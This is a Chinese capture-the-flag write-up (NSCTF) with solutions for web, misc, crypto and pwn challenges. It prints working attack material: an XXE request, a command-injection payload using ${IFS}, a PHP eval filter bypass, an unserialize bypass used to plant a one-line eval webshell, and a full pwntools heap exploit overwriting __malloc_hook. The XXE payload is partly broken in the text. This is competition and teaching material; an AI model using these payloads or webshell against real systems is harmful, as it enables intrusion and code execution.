0%

NSCTF Write Up By Gzmtu Sec

WEB

小明又被拒绝了

这题比较简单,xff+改cookie

payload:

img

XX?

  • 源码泄露

  • http://119.61.19.212:8083/index.php~

    <?php
    #鍏抽棴Warning
    error_reporting(E_ALL^E_NOTICE^E_WARNING);
    
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    
    $creds = simplexml_import_dom($dom);
    $user = $creds->user;
    $pass = $creds->pass;
    
    echo "CTF:" . "<br>" . "$user";
    ?>
    
  • xxe直接打,另外扫描到flag.php

  • img

  • PHP伪协议直接读flag

    GET /index.php HTTP/1.1
    Host: 119.61.19.212:8083
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Cookie: admin=0
    Upgrade-Insecure-Requests: 1
    X-Forwarded-For: 127.0.0.1
    Content-Length: 227
    

]>

&xxe;
&xxe;


![img]( http://goodcheerleung.gitee.io/mycute/20190910/15680912975437.png)

### 免费的,ping一下~

- Fuzz出来一个payload`a;id;`可以用

![img]( http://goodcheerleung.gitee.io/mycute/20190910/15680918202057.png)

-  ${IFS}绕过空格
-  pyload

baidu.coma;grep${IFS}-n${IFS}”fl”${IFS}/fla*;


### php

```php
<?php
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function GetYourFlag(){
    echo file_get_contents("./flag.php");
}

if(isset($_GET['code'])){
    $code = $_GET['code'];
    //print(strlen($code));
    if(strlen($code)>27){ 
        die("Too Long.");
    }

    if(preg_match('/[a-zA-Z0-9_&^<>"\']+/',$_GET['code'])) {
        die("Not Allowed.");
    }
    @eval($_GET['code']);
}else{
      highlight_file(__FILE__);
}
?>
  • 这道题和SUCTF2019的Ezphp类似。
  • 直接使用脚本检测在这个正则下哪些字符可用。
<?php
for ($ascii = 0; $ascii < 256; $ascii++) {
    if (!preg_match('/[\x00- 0-9A-Za-z\'"\`~_&.,|=[\x7F]+/i', chr($ascii))) {
    //echo bin2hex(chr($ascii));
    echo chr($ascii);
    echo "\n";
}
}
?>
  • 可以得知如下字符可用
! # $ % ( ) * + , - . / : ; = ? @ [ \ ] ` { | } ~  
  • 构造payload,直接构造${_GET}{%a0();,绕过方法参考:https://www.freebuf.com/articles/web/186298.html

  • >>echo bin2hex(~("_GET"));
    >>a0b8baab
    转换为url编码再取反构造payload如下:
    ${~%a0%b8%ba%ab}{%a0}();&%a0=GetYourFlag
    

    读取flag

  • <?php
    $flag="flag{3904c5df2e894ca02a21004feb21e617}"
    ?>

API

  • 扫描目录从胡发现有个api目录,然后需要我们post提交一个filename而且是json格式的。经过一顿Fuzz出来一个payload可用:
filename={"file":"index.php"}

img

  • 尝试使用双url编码去绕过stristr均以失败告终,后面去读根目录下的index.php发现源码:
<?php
require_once('hack.php');
echo "Api!wow";
function do_unserialize($value){
        preg_match('/[oc]:\d+:/i', $value, $matches);
        if (count($matches)) {return false;}
        return unserialize($value);
    }
$x = new hack();
if(isset($_GET['flag'])) $g = $_GET['flag'];
if (!empty($g)) {
    $x = do_unserialize($g);
}
echo $x->readfile();
?>
  • 源码可知可以它返序列化了一个类,而这个类在hack.php,于是读取hack.php
<?php
    class hack {
        public $file;
        function __construct($filename = '') {
            $this -> file = $filename;
        }

        function readfile() {
            if (!empty($this->file) && stripos($this->file,'..')===FALSE
            && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
                return @file_get_contents($this->file);
            }
        }
    }
    //fffffaa_not.php
?>
  • 直接可以知,反序列化需要我们去读取fffffaa_not.php(直接读取flag不行,因为不知道flag的文件名)
  <?php
  class hack {
      public $file;
      function __construct($filename = '') {
          $this -> file = $filename;
      }

      function readfile() {
          if (!empty($this->file) && stripos($this->file,'..')===FALSE
          && stripos($this->file,'/')===FALSE && stripos($this->file,'\\')==FALSE) {
              return @file_get_contents($this->file);
        }
      }
      }
$a= new hack('fffffaa_not.php');
  echo serialize($a);
  //O:4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}
  ?>
  • 这里又遇到了问题,在hack.php过滤了O:数字,这里直接用加号当做空格绕过。
O:+4:"hack":1:{s:4:"file";s:15:"fffffaa_not.php";}
  • 然后读取到fffffaa_not.php源码:
<?php
$text = $_GET['jhh08881111jn'];
$filename = $_GET['file_na'];
if(preg_match('[<>?]', $text)) {
    die('error!');
}
if(is_numeric($filename)){
    $path="/var/www/html/uploads/".$filename.".php";
}else{
    die('error');
}
file_put_contents($path, $text);
?>
  • 这里preg_match()可以直接绕过,使用数组bypass(Bug #69274)

  • 这样直接构造payload,在uploads文件下生成一个一句话木马。

fffffaa_not.php?jhh08881111jn[]=%3C?php%20@eval($_POST[%27sb%27]);?%3E&file_na=110114
  • 上菜刀在根目录下直接读取flag

img

MISC

完美的错误

img

尝试多次发现base58将表移位

脚本:

import base58

old_base58_table = ['1','2','3','4','5','6','7','8','9',

'A','B','C','D','E','F','G','H','J','K','L','M','N','P',

'Q','R','S','T','U','V','W','X','Y','Z','a','b',

'c','d','e','f','g','h','i','j','k','m','n',

'o','p','q','r','s','t','u','v','w','x','y','z']

target="RJv9mjS1bM9MZafGV77uTyDaapNLSk6t358j2Mdf1pbCByjEiVpX"

s=""

for i in range(len(old_base58_table)):

    s=""

    new_base58_table=old_base58_table[:]

    for j in range(len(old_base58_table)):

        new_base58_table[j] = old_base58_table[(j+i)%len(old_base58_table)]

    for k in target:

            s+=old_base58_table[new_base58_table.index(k)]

    if 'flag' in base58.b58decode(s):

        print base58.b58decode(s)    

抓灰阔

img

用wireshark导出http文件发现main(13)与main.jsp%3fpass=281文件有AES的密文密钥

扔去网站解密

img

发现提示,将后面内容复制base64解密转存发现是个ELF文件但是文件头不齐,将文件头补齐后,拉入ida分析

img

将指定字符串输入后得到flag

oo8?989j5i8;jh8>;:=8n;ij:mij8;o4"

Crypto

img
题目已经提示了开头的字符,虽然生成了两个随机字符串,但是新生成的字符串是由前一个字符串异或得到,通过开头字符可求得随机字符串key。

脚本:

import os
from Crypto.Util.number import long_to_bytes,bytes_to_long

f=open("flag.txt.encrypted", "rb")
fmessage = f.read()
message="have a good time."
key = os.urandom(8)
iv = os.urandom(8)
count = 8
filemessage1= []
filemessage2= []
def decode():
    for i in range(8):
        filemessage1.append(bytes_to_long(fmessage[i*8:i*8+8]))
        filemessage2.append(bytes_to_long(fmessage[i*8:i*8+8]))
    for i in range(7):
            filemessage2[i+1] = filemessage1[i] ^ filemessage2[i+1]
            final=long_to_bytes(filemessage2[1])
    for i in range(8):
        for j in range(255):
            if ord(final[i]) ^ j == ord(message[i+8]):
                key = hex(j)  
    key = '\xf7\x53\xc1\x24\x9c\x49\x73\x18'
    print long_to_bytes(bytes_to_long(key)^filemessage2[2])
    +long_to_bytes(bytes_to_long(key)^filemessage2[3])
    +long_to_bytes(bytes_to_long(key)^filemessage2[4])
    +long_to_bytes(bytes_to_long(key)^filemessage2[5])
    +long_to_bytes(bytes_to_long(key)^filemessage2[6])
decode()

脑筋急转弯

这题是一道音频隐写的题目,用silenteye提取出文件

img

发现该压缩包有密码,于是用Ziperello破解

img

解压出来是012的文件

img

由该题目的标题联想到brainfuck的语言,于是将0转成 . 将1转成 ! 将2转成?

img

于是用https://www.splitbrain.org/services/ook在线转换

img

flag{08277716193eda6c592192966e9d6f39}

Pwn

Pwn1

一开始拿着2.23的libc埋头做,利用条件竞争加上unsorted bin attack改fastbin的最大限制,free的时候所有的chunk都可以进入fastbin,但是改了之后unsorted bin坏了,因为创建进程要0x120的空间,所以就不能用条件竞争改fastbin的fd,那时候想了好久如何绕过这个限制,后来libc换成2.27的时候就容易多了,先free 7个chunk进入tcache将其填满,然后再free进入unsorted bin,利用run函数泄露内存,接着直接用条件竞争该tcache的fd为malloc hook的位置就行了,因为2.27的版本下没有过多的检查,然后将malloc hook改成one_gadget,最后malloc的时候会调用malloc hook的函数,执行one_gadget。

from pwn import*
context.log_level=True
#p=process('./qw_pwn1')
p=remote('119.61.19.212',8087)
elf=ELF('qw_pwn1')
libc=ELF('libc.so.6')


def add(id,x):
    p.recvuntil('3.run\n')
    p.sendline('1')
    p.recvuntil('index:\n')
    p.sendline(str(id))
    p.recvuntil('content:\n')
    p.send(x)
def add1(id,x):

    p.sendline('1')
    p.recvuntil('index:\n')
    p.sendline(str(id))
    p.recvuntil('content:\n')
    p.send(x)

def free(id):
    p.recvuntil('3.run\n')
    p.sendline('2')
    p.recvuntil('index:\n')
    p.sendline(str(id))
def free1(id):

    p.sendline('2')
    p.recvuntil('index:\n')
    p.sendline(str(id))    
def run(id,key):
    p.recvuntil('3.run\n')
    p.sendline('3')
    p.recvuntil('index:\n')
    p.sendline(str(id))
    p.recvuntil('input key:\n')
    p.sendline(str(key))
add(0,'\0'*0xa0)
add(1,'b'*0x8+p64(0xb1))
add(2,'\0'*0xa0)
add1(3,'\0'*0xa0)
add(4,'\0'*0xa0)
add(5,'\0'*0xa0)
add(6,'\0'*0xa0)
add(7,'\0'*0xa0)
add(8,'\0'*0xa0)
add(9,'\0'*0xa0)

free(1)
free(2)
free(3)
free(4)
free(5)
free(6)
free(7)


free(0)
add(7,'b'*0x8+p64(0xb1))
add(6,'\0'*0xa0)
add1(5,'\0'*0xa0)
add(4,'\0'*0xa0)
add(3,'\0'*0xa0)
add(2,'\0'*0xa0)
add(1,'\0'*0xa0)

add(0,'a'*8)

run(0,0)
p.recvuntil('a'*8)
libcbase=u64(p.recv(6).ljust(8,'\x00'))-(0x00007ffff7bb0ca0-0x00007ffff77c5000)
print hex(libcbase)

malloc=libcbase+libc.symbols['__malloc_hook']
print hex(malloc)
one=libcbase+0x4f322

#malloc=(malloc-0x13) & 0xffff


#key=malloc^(malloc+0x70)
#key=key&0xffff


p.sendline('3')
p.recvuntil('index:\n')
p.sendline(str(0))

p.recvuntil('input key:\n')

p.sendline(str(malloc-0x13))

free(0)
sleep(3)

p.recvuntil('done\n')

add1(11,'\0'*0xa0)
add(12,'a'*0x13+p64(one))
#gdb.attach(p)
#raw_input()

p.recvuntil('3.run\n')
p.sendline('1')
p.recvuntil('index:\n')
p.sendline(str(13))
p.interactive()

img

flag{85B367076A1B7177F0F2945DA9DFE599}